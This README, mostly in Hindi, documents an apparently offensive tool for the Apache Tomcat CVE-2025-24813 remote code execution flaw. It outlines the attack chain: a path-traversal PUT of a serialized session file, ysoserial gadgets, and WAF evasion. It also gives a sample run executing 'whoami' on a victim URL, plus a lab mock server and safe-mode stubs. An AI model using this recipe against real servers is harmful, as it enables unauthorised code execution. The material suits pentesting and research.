
यह रिपॉज़िटरी साइबरसुरक्षा में शैक्षिक और अनुसंधान उद्देश्यों के लिए विकसित एक स्वचालित एक्सप्लॉइट है, जिसे Apache Tomcat (CVE-2025-24813) में संभावित रिमोट कोड निष्पादन (RCE) भेद्यता को प्रदर्शित करने के लिए तैयार किया गया है।
⚡ संस्करण: 1.0 🛡️ CVE ID: CVE-2025-24813 (Apache Tomcat RCE) 🧬 Payloads:
ysoserial/Java🌐 मोड: इंटरैक्टिव + स्टेल्थ 🔬 उपयोग: नैतिक, अनुसंधानात्मक, शैक्षिक
यह टूल एक भविष्यवादी एक्सप्लॉइटेशन सूट के रूप में डिज़ाइन किया गया है, जो निम्न पर केंद्रित है:
🧪 साइबर सुरक्षा पेशेवरों, शोधकर्ताओं, पेंटेस्टर्स और रेड टीमों के लिए डिज़ाइन की गई।
✅ इंटरैक्टिव और सहज इंटरफ़ेस
✅ गतिशील पेलोड (ysoserial या संकलित Java)
✅ एंटी-WAF कैमेलियन हेडर
✅ स्वचालित एवेज़न + पेलोड फ्रैगमेंटेशन
✅ बैकएंड पर निष्पादन का फिंगरप्रिंटिंग
✅ प्रति लक्ष्य विस्तृत लॉगिंग
✅ गतिशील साइबरपंक-शैली बैनर (🔮 ग्लिच एनिमेशन)
✅ कंसोल पर Live feedback (Rich और Colorama के साथ)
आवश्यक निर्भरताएँ इंस्टॉल करें:
pip install -r requirements.txt
निर्भरताएँ:
requests
colorama
rich
validators
और सुनिश्चित करें कि आपके पास हैं:
PATH में Java और javacysoserial.jarस्क्रिप्ट चलाएं:
python3 POC-Exploit_CVE_2025_24813.py
और कॉन्फ़िगरेशन पूरा करें:
🧬 पेलोड प्रकार चुनें 💣 कमांड निर्दिष्ट करें 🌐 लक्ष्य की URL दर्ज करें 🔧 एवेज़न और SSL कॉन्फ़िगरेशन समायोजित करें
🔗 [?] Ingresa la URL del objetivo: https://victima.org
💣 [?] Comando a ejecutar: whoami
🧬 [?] Tipo de payload: ysoserial
📂 [?] Ruta a ysoserial.jar: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] ¿Verificar SSL? (sí/no): no
🚀 Ejecutando...
🧬 WAF detectado... cambiando estrategia
⚙️ Subida del payload en curso...
💥 Confirmación de ejecución remota
✅ Resultado: 'apache'
┌──────────────────────────────┐
│ Modo Interactivo │
├──────────────────────────────┤
│ Validación de URL │
│ Detección de sesión │
│ Detección de WAF │
│ Generación de payload │
│ Subida evasiva via PUT │
│ Verificación de ejecución │
└──────────────────────────────┘
↘ LOGS POR OBJETIVO
ysoserial पर आधारित, यह कमांड निष्पादित करने के लिए असुरक्षित गैजेट्स को सीरियलाइज़ करता है।.java संकलित करता है जो सर्वर से रिमोट कमांड निष्पादित करता है।CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # Script principal
ysoserial.jar # Requerido si usas 'ysoserial'
logs/ # Carpeta de logs individuales por objetivo
payload.ser # Payload generado temporalmente
Exploit.java / .class # Archivos temporales para Java
यह टूल विशेष रूप से कानूनी और शैक्षिक उद्देश्यों के लिए बनाया गया था।
✅ अनुमत:
🚫 निषिद्ध:
लेखक और सहयोगी दोनों दुरुपयोग के लिए ज़िम्मेदार नहीं हैं। आप अपने आचरण के लिए स्वयं ज़िम्मेदार हैं।
ysoserial, Java, Rich, Colorama, requests📄 CVE-2025-24813: Apache Tomcat रिमोट कोड निष्पादन 🔗 CVE MITRE पर विवरण देखें
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
अधिक जानकारी के लिए
LICENSEफ़ाइल देखें।
यह README और स्क्रिप्ट एक इमर्सिव, दृश्य और सुरुचिपूर्ण अनुभव के लिए डिज़ाइन किए गए हैं, जो भविष्यवादी साइबर सुरक्षा के एक नए युग के साथ तालमेल रखते हैं।
✨ सिर्फ एक्सप्लॉइट नहीं... यह एवेज़न और डिजिटल नियंत्रण की एक तकनीकी सिम्फनी है।
अनुशंसित संस्करण: Python 3.8+
Python लाइब्रेरीज़ जिन्हें आपको इंस्टॉल करनी चाहिए:
pip install requests colorama
स्क्रिप्ट पेलोड के दो रूपों का उपयोग करती है:
इसलिए आपको चाहिए:
Java JDK (सिर्फ JRE नहीं, क्योंकि कोड संकलित किया जाता है)। निम्न से जाँच करें:
java -version
javac -version
यदि दोनों कमांड काम करते हैं, तो आप तैयार हैं।
.jar यहाँ से डाउनलोड करें 👉 https://github.com/frohoff/ysoserial
इसे स्क्रिप्ट के समान निर्देशिका में रखें या पूछे जाने पर पूर्ण पथ बताएं। उदाहरण:
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe) कैलकुलेटर खोलेगा।gnome-calculator या xcalc में बदल सकते हैं।Python 3.8+ इंस्टॉल करें
लाइब्रेरीज़ इंस्टॉल करें:
pip install requests colorama etc
Java JDK 8+ इंस्टॉल करें
java -version
javac -version
स्क्रिप्ट फ़ोल्डर में ysoserial.jar डाउनलोड करें।
👉 इस सब के साथ आप स्क्रिप्ट को सुरक्षित प्रयोगशाला मोड में चला सकेंगे (केवल नियंत्रित वातावरण में, परीक्षण के लिए)।
संस्करण: 1.0 उद्देश्य: यह मार्गदर्शिका बताती है कि वास्तविक सिस्टम को प्रभावित किए बिना आपके पास मौजूद स्क्रिप्ट का परीक्षण करने के लिए पूरी तरह से सुरक्षित वातावरण कैसे तैयार किया जाए। इसमें एक परीक्षण सर्वर (मॉक), सुरक्षित मोड (DRY_RUN / SAFE_TEST), और प्रयोगशाला में टूल चलाने के स्पष्ट चरण शामिल हैं।
pip उपलब्ध हो।virtualenv या venv।निर्भरताएँ इंस्टॉल करें:
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
नोट:
flaskकेवल स्थानीय परीक्षण सर्वर (मॉक) के लिए उपयोग किया जाता है।
इस सामग्री के साथ एक mock_server.py फ़ाइल बनाएं। सर्वर उन endpoints का अनुकरण करता है जिनकी स्क्रिप्ट अपेक्षा करती है और नियंत्रित स्थितियाँ (200, 409, 500) लौटाता है ताकि आप वास्तविक सर्वरों को छुए बिना स्क्रिप्ट के तर्क को मान्य कर सकें।
# mock_server.py — servidor de pruebas seguro
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# Simula una página que puede devolver una cookie JSESSIONID o un texto con "Session ID"
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# Simula un recurso escribible
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# Simula que la subida fue aceptada pero retorna 409 (comportamiento que el script espera)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# Si la cookie coincide y la sesión fue "subida", devolvemos 500 para simular fallo por deserialización
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
इसे कैसे चलाएं:
python mock_server.py
# El mock quedará escuchando en http://127.0.0.1:8000
परीक्षण के लिए आपको वास्तविक पेलोड उत्पन्न करने की आवश्यकता नहीं है। एक साधारण फ़ाइल बनाएं जिसे स्क्रिप्ट अपलोड कर सके:
echo "DUMMY_PAYLOAD" > payload.ser
इस फ़ाइल में कोई निष्पादन योग्य कोड नहीं है: यह केवल अपलोड तर्क को मान्य करने और मॉक सर्वर की प्रतिक्रियाएँ देखने के लिए कार्य करती है।
स्क्रिप्ट को बाहरी उपयोगिताओं (Java/ysoserial) को लागू करने या खतरनाक कार्यों को निष्पादित करने से रोकने के लिए, यह ब्लॉक मुख्य स्क्रिप्ट की शुरुआत में जोड़ें (किसी भी जनरेशन/subprocess कॉल से पहले):
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
फिर जनरेशन/अपलोड फ़ंक्शन को संशोधित करें (या लपेटें) ताकि जब SAFE_TEST True हो तो वे सुरक्षित रूप से व्यवहार करें।
generate_ysoserial_payload और generate_java_payload के लिए न्यूनतम परिवर्तन का उदाहरण:
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
def generate_java_payload(command, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload java dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_JAVA_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
और upload_and_verify_payload में, यदि SAFE_TEST True है, तो सामान्य प्रवाह का उपयोग करें (मॉक इसे स्वीकार करेगा) लेकिन स्क्रिप्ट के बाहर कोई कमांड निष्पादित न करें।
SAFE_TEST कैसे सक्रिय करें:
Linux/macOS:
export SAFE_TEST=1
Windows (PowerShell):
$env:SAFE_TEST = "1"
अपना वर्चुअल वातावरण शुरू करें और सुनिश्चित करें कि निर्भरताएँ इंस्टॉल हैं (आवश्यकताएँ अनुभाग देखें)।
mock_server.py चलाएं:
python mock_server.py
यदि आप SAFE_TEST का उपयोग नहीं करते हैं या यह आपके लिए पेलोड नहीं बनाता है, तो डमी पेलोड बनाएं:
echo "DUMMY_PAYLOAD" > payload.ser
टर्मिनल में सुरक्षित मोड सक्रिय करें:
export SAFE_TEST=1 # Linux/macOS
# o en PowerShell: $env:SAFE_TEST = "1"
मुख्य स्क्रिप्ट चलाएं:
python3 tu_script.py
प्रॉम्प्ट का उत्तर दें (आप प्रयोगशाला मानों का उपयोग करेंगे):
http://127.0.0.1:8000ysoserial (स्क्रिप्ट, SAFE_TEST=1 के साथ, बाहरी टूल को लागू करने के बजाय एक डमी पेलोड बनाएगी)ysoserial.jar छोड़ सकते हैं — सुरक्षित मोड में इसका उपयोग नहीं होगा)no (आपका मॉक HTTP उपयोग करता है)check_writable_servlet फ़ंक्शन /check.txt endpoint पर सफल PUT का पता लगाए।payload.ser अपलोड करने पर, मॉक 409 लौटाए और स्क्रिप्ट फिर JSESSIONID कुकी के साथ GET करे।HTTP प्रतिक्रियाओं का अनुकरण करने के लिए pytest और requests-mock का उपयोग करें।
निम्न के लिए टेस्ट बनाएं:
validate_url — मान्य/अमान्य इनपुट।retry_request — अपवादों और पुनर्प्रयासों का अनुकरण।detect_waf — हस्ताक्षरों के साथ और बिना Server हेडर का अनुकरण।upload_and_verify_payload — प्रवाह को मान्य करने के लिए सर्वर मॉक का उपयोग।requests-mock के साथ सरल उदाहरण (स्केलेटन):
# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request
def test_validate_url():
assert validate_url('http://127.0.0.1:8000')
assert not validate_url('notaurl')
def test_retry_request_success():
# usa requests_mock para simular un GET y comprobar retry_request
pass
लेखक:ByMakavali
कंसोल आउटपुट देखें: आपको Server is writable via PUT, Payload uploaded with status 409 और Exploit succeeded! Server returned 500 after deserialization. संदेश दिखाई देने चाहिए — यह केवल मॉक में है और इसका मतलब है कि स्क्रिप्ट का तार्किक प्रवाह काम करता है।
logs/ में लॉग देखें — स्क्रिप्ट समय-चिह्नों के साथ प्रविष्टियाँ सहेजती है। उदाहरण के लिए logs/127_0_0_1_8000.log (सैनिटाइज़ किए गए लक्ष्य नाम के अनुसार)।